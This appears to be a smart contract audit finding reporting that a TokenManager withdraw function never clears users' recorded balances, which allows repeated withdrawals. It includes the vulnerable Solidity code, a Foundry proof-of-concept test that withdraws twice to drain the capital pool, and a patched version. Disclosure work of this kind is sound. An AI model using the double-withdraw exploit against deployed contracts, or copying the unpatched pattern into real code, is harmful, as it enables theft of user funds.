[H-04] TokenManager::withdraw Does Not Update userTokenBalanceMap
Summary
The withdraw function allows users to withdraw funds based on the userTokenBalanceMap mapping. However, it fails to update this mapping afterward, enabling users to withdraw multiple times and potentially deplete the protocol's reserves.
Vulnerability Details
During the execution of the withdraw function, the claimAbleAmount is determined by retrieving the corresponding value from the userTokenBalanceMap. Despite this, the function does not update the userTokenBalanceMap, allowing users to repeatedly call withdraw and withdraw more funds than intended.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
@> _tokenAddress
@> ][_tokenBalanceType];
@>
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Impact
Repeated withdrawals without updating the userTokenBalanceMap can lead to unauthorized fund transfers, potentially draining the protocol's reserves.
Proof of Concept
To demonstrate this vulnerability, consider the following test case:
Contract Warmup: Users(user and user2) create offers and fill (user1) them, resulting in a significant balance of tokens to be withdrawn.
Settling Period: The settlement process begins, and user settles their transaction, adding earnings to the TokenManager.
Initial Withdrawal: user calls withdrawAll, withdrawing all available balances.
Subsequent Withdrawal Attempt: The same user attempts to call withdrawAll again, exploiting the vulnerability to withdraw additional funds.
Here's the test implementation and the helper withdrawAll function:
function test_my_withdraw_doesnot_update_BalanceMapping() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
vm.startPrank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr2 = GenerateAddress.generateOfferAddress(2);
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr2, 1000);
vm.startPrank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 1000 ether);
deliveryPlace.settleAskMaker(offerAddr, 1000);
withdrawAll(address(mockUSDCToken));
assertEq(mockUSDCToken.balanceOf(user), 2230000000000000000);
withdrawAll(address(mockUSDCToken));
assertEq(mockUSDCToken.balanceOf(user), 2230000000000000000 * 2);
assert(
mockUSDCToken.balanceOf(address(capitalPool)) < 2230000000000000000
);
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 1000 ether);
deliveryPlace.settleAskMaker(offerAddr2, 1000);
vm.expectRevert();
withdrawAll(address(mockUSDCToken));
}
function withdrawAll(address _token) internal {
tokenManager.withdraw(address(_token), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(_token), TokenBalanceType.PointToken);
tokenManager.withdraw(address(_token), TokenBalanceType.ReferralBonus);
tokenManager.withdraw(address(_token), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(_token), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(_token), TokenBalanceType.TaxIncome);
}
Tools Used
Manual Review
Recommendations
Ensure the userTokenBalanceMap is updated before proceeding with fund transfers to prevent unauthorized withdrawals.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
+ userTokenBalanceMap[_msgSender()][_tokenAddress][
+ _tokenBalanceType
+ ] -= claimAbleAmount;
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
